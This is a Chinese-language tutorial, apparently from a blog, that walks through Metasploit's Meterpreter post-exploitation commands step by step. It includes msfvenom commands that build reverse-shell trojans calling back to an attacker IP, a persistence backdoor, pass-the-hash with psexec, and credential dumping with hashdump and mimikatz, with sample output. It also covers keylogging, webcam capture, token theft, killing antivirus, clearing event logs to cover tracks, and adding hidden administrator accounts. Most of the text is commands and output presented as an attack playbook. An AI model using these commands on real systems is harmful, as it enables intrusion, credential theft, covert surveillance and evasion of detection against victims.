Meterpreter命令详解 |
您所在的位置:网站首页 › 远程cmd什么意思 › Meterpreter命令详解 |
0x01初识Meterpreter
1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。 最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况 1.2.Meterpreter技术优势 Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。 0x02 Meterpreter中常用的反弹类型1.reverse_tcp 这是一个基于TCP的反向链接反弹shell, 使用起来很稳定 (1)Linux: 使用下列命令生成一个Linux下反弹shell木马: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell 看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。 设置下地址和端口,我们就开始监听了 这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了 (2)Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
2.reverse_http 基于http方式的反向连接,在网速慢的情况下不稳定。 payload:/windows/meterpreter/reverse_http 3.reverse_https 基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试 payload:/windows/meterpreter/reverse_https
4.bind_tcp 这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。 使用下列命令生成木马: msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell 同样道理加权限运行,不演示了。 这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。 0x03 相关PayloadPayload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。 Metasploit中的Payload模块主要有以下三种类型: -Single -Stager -Stage Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。 Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。 Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。 在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型: Single Payload的格式为/ Stager/Stage Payload的格式为/ / 当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表: 在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。 0x04 Meterpreter的常用命令1.基本命令 help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起 bgkill# 杀死一个背景 meterpreter 脚本 bglist#提供所有正在运行的后台脚本的列表 bgrun#作为一个后台线程运行脚本
channel#显示活动频道 sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用 sesssions -k number #与会话进行交互 close# 关闭通道 exit# 终止 meterpreter 会话 quit# 终止 meterpreter 会话 interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据 write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本 use# 加载 meterpreter 的扩展 load/use#加载模块
Resource#执行一个已有的rc脚本 2.文件系统命令 cat c:\boot.ini#查看文件内容,文件必须存在 del c:\boot.ini #删除指定的文件 upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\ download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/ edit c:\boot.ini # 编辑文件 getlwd#打印本地目录 getwd#打印工作目录 lcd#更改本地目录 ls#列出在当前目录中的文件列表 lpwd#打印本地目录 pwd#输出工作目录 cd c:\\ #进入目录文件下 rm file #删除文件 mkdir dier #在受害者系统上的创建目录 rmdir#受害者系统上删除目录 dir#列出目标主机的文件和文件夹信息 mv#修改目标主机上的文件名 search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea*.bat c:\\xamp\\ enumdesktops #用户登录数 (1)下载文件 使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件 (2)上传文件 “upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。 (3)查看文件 “cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。 (4)切换、查询当前路径 “pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。 (5)“sysinfo”命令 “sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。 (6)execute命令 “execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令, 在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator 我们运行一下目标主机上的记事本程序 execute -f notepad.exe
execute -H -f notepad.exe 此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了 命令: execute -H -i -f cmd.exe 这达到的效果就跟使用shell命令一样了 再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。 execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" -d 在目标主机执行时显示的进程名称(用以伪装) -m 直接从内存中执行 "-o wce.txt"是wce.exe的运行参数 (7)idletime命令 “idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。 (8)search命令 “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。 使用“search –h”命令来查看search命令的帮助信息: 下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。 “search –f l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。 (9)edit命令 调用vi编辑器,对目标主机上的文件修改 例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
3.网络命令 ipconfig/ifconfig#显示网络接口的关键信息,包括 IP 地址 portfwd -h 用法:portfwd [-h] [add | delete | list | flush] [args]
选项: -L 要监听的本地主机(可选) -h帮助横幅 -l 要监听的本地端口 -p 连接到的远程端口 -r 要连接到的远程主机 portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 netstat -an | grep“4444" #查看指定端口开放情况 rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码 rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接 route#查看或修改受害者路由表 route add 192.168.1.0 255.255.255.0 1 #添加动态路由 route print #路由表输出 runget_local_subnets #目标主机的内网IP段情况 Arp #看ARP缓冲表 Getproxy #获取代理 (1)portfwd 网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd: 在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。 (2)route 使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。 可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况 命令:run get_local_subnets 如下图: 其内网有192.168.249.0/24网段,我们无法直接访问 下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。 命令:route add 192.168.249.0 255.255.255.0 5 再使用route print查看一下路由表,效果如下图:
大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。 查看shell网络环境: meterpreter>run get_local_subnets 添加一条通向目标服务器内网的路由 meterpreter>run autoroute -s 100.0.0.0/8 #(根据目标内网网络而定) 查看路由设置: meterpreter>run autoroute –p 一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。 route print 如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。 msf>route add 10.0.0.0 255.0.0.0 1 说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
4.键盘监听 Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令: keyscan_start:开启键盘记录功能 keyscan_dump:显示捕捉到的键盘记录信息 keyscan_stop:停止键盘记录功能 uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。 meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能 Starting the keystroke sniffer... meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录 Dumping captured keystrokes... dir cd meterpreter > keyscan_stop #停止针对目标主机的键盘记录 Stopping the keystroke sniffer...
这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。 如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。
5.系统命令 reboot#重新启动受害人的计算机 reg#与受害人的注册表进行交互 rev2self#回到控制目标主机的初始用户账户下 shell#获得控制台权限 shutdown#关闭了受害者的计算机 sysinfo # 查看目标机系统信息,如机器名,操作系统等 add_user username password -h ip #在远程目标主机上添加一个用户 add_group_user "Domain Admins" username -h ip #将用户添加到目标主机的域管理员组中 shell命令 获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试 6.mimikatz meterpreter > load mimikatz #加载mimikatz meterpreter > msv #获取hash值 meterpreter > kerberos #获取明文 meterpreter >ssp #获取明文信息 meterpreter > wdigest #获取系统账户信息 meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示 meterpreter >mimikatz_command -f hash:: #获取目标 hash meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords
7.网络嗅探 meterpreter > use sniffer # 加载嗅探模块 Loading extension sniffer...success. meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false ) 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据 [*] Capture started on interface 2 (50000 packet buffer) meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探 [*] Flushing packet capture buffer for interface 2... [*] Flushed 1176 packets (443692 bytes) [*] Downloaded 100% (443692/443692)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/test2.cap meterpreter > sniffer_stop 2 #停止嗅探 Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件: 首先执行use sniffer命令作用为使用嗅探脚本。 sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1. sniffer_start ID命令开始嗅探。 sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。 对抓取的包进行解包: use auxiliary/sniffer/psnuffle set pcapfile 1.cap run 然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可: 8.获取敏感信息 run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下 (1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息 命令:run post/windows/gather/enum_applications 效果如图: (2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码 命令:run post/windows/gather/enum_ie 效果如下图: 获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效 9.获取Hash 使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。 meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TESTING [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+]Croxy:"Whoareyou" [*] Dumping password hashes... [+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d::: 脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:
数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。 其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。 接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。
use post/windows/gather/hashdump set session 4 run
10.通过Hash获取权限 msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description ------------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHAREADMIN$ yes The share to connect to, can be an admi n share
(ADMIN$,C$,...) or a normal read/write folder share SMBDomainWORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as
Exploit target:
Id Name -- ---- 0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254 RHOST => 192.168.0.254 msf exploit(psexec) > set SMBUser isosky SMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'... [*] Uploading payload... [*] Created \UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.254 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800 11.捕捉屏幕 要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。 我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。 截取的效果如下所示: 12.得到远程桌面 使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
13.权限提升 这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。 使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。 ps#列出正在运行的进程 kill pid # 杀死进程 migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法 getprivs#尽可能获取尽可能多的特权 getuid #获得当前的权限 getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户 getsystem –h #升级权限SYSTEM账户 使用MS14-058之类的Exp进行提权: meterpreter > background [*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set SESSION 3 use priv#加载特权提升扩展模块,来扩展Meterpreter库
列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。
在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。 14.盗取令牌 meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户) meterpreter >list_tokens -u 列出目标主机用户的可用令牌 meterpreter >list_tokens -g 列出目标主机用户组的可用令牌 meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato meterpreter >execute -f cmd.exe -i -t #调用域权限shell meterpreter > getuid meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户 meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作 meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录) meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒 meterpreter>drop_token pid #停止假冒当前令牌
另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。
load incognito list_tokens -u impersonate_token xxxxx\\xxxxxxx execute -f cmd.exe -i -t 15.清除事件日志 完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志 执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。
执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:
16.网络摄像头 record_mic #音频录制 webcam_chat #查看摄像头接口 webcam_list #查看摄像头列表 webcam_stream #摄像头视频获取 webcam_list meterpreter > webcam_list 1: Creative WebCam NX Pro 2: Creative WebCam NX Pro (VFW) meterpreter > webcam_snap meterpreter > webcam_snap -h Usage: webcam_snap [options] OPTIONS: -h Help Banner -i >opt> The index of the webcam to use (Default: 1) -p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg') -q >opt> The JPEG image quality (Default: '50') -v >opt> Automatically view the JPEG image (Default: 'true') meterpreter > OPTIONS: -h: Displays the help information for the command -i opt: If more then 1 web cam is connected, use this option to select the device to capture the image from -p opt: Change path and filename of the image to be saved -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality -v opt: By default the value is true, which opens the image after capture Example usage: meterpreter > webcam_snap -i 1 -v false [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg meterpreter > “webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。
17.一些脚本命令 为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。 使用“run scriptname”来使用meterpreter模块中的脚本命令 (1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机 命令: run post/windows/gather/checkvm 效果如下图:
同样有许多类似这样的脚本,下面来介绍几个重要的脚本: (2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。 从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。
(3)get_local_subnets——“run get_local_subnets”得到本地子网网段 (4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
(5) scraper——“run scraper”从目标主机获得所有网络共享等信息 并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
(6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录 但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:
(7)hashdump——“run hashdump”获得密码哈希值 运行这个脚本和在meterpreter下直接运行hashdump结果差不多。 (8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息 运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
(9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机 远程主机重启后将在特定的时间间隔保持meterpreter会话 run persistence -X -i 5 -p 4444 -r 172.17.11.18 #植入后门 -X 在目标主机上开机自启动 -i 不断尝试反向连接的时间间隔 persistence后渗透模块向目标主机植入后门程序 效果如下图:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。下图,在攻击主机上监听4444端口,等待反弹会话成功 下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
(10)enum_drives 这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。 后渗透模块post/windows/gather/forensics/enum_drives调用 在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息: 命令,在msfconsole下: use post/windows/gather/forensics/enum_drives set SESSION 1 exploit 效果如图:
我们首先将meterpreter会话放入后台,然后搜索我们的模块。 然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。 18.SOCKS代理 Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行 然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。
19.运行程序 我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下: execute -f [Options] execute -f cmd.exe -i#执行cmd.exe命令并进行交互 execute -f cmd.exe -i -t#以所有可用令牌来执行cmd命令 execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互 execute -H -i -f cmd.exe execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" 运行后它将执行file参数所指定的文件。可选参数如下: -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程 -f 执行的程序文件 -d 在目标主机执行时显示的进程名称(用以伪装) -o wce.txt"是wce.exe的运行参数 20.创建账号 getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息 run getgui-e #开启远程桌面 run getgui -uexample_username -pexample_password #添加账号 调用getgui后渗透攻击模块 作用:开启目标主机远程桌面,并可添加管理员组账号 命令: run getgui -e 开启目标主机远程桌面 如下图:
命令: run getgui -u example_username -p example_password 如下图: rdesktop -u kali -p meterpreter 192.168.250.176:3389 从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。 添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。 接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。 当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。 21.启用远程桌面 当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。 首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启): 在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: 这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息: 下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面: run post/windows/manage/enable_rdp 还可以使用 run getgui -e 来开启远程桌面: 利用该命令,我们还可以在目标机器上添加用户: run getgui -u xxxxx -p xxxxx 22.绑定进程 Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。 在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。 首先,我们需要使用“ps”命令查看目标设备中运行的进程: 接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。 绑定完成之后,我们就可以开始捕获键盘数据了: 接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录: 等待片刻之后,使用keyscan_dump命令导出记录信息: 捕捉到的用户密码为trustno1 23.通过其 shell 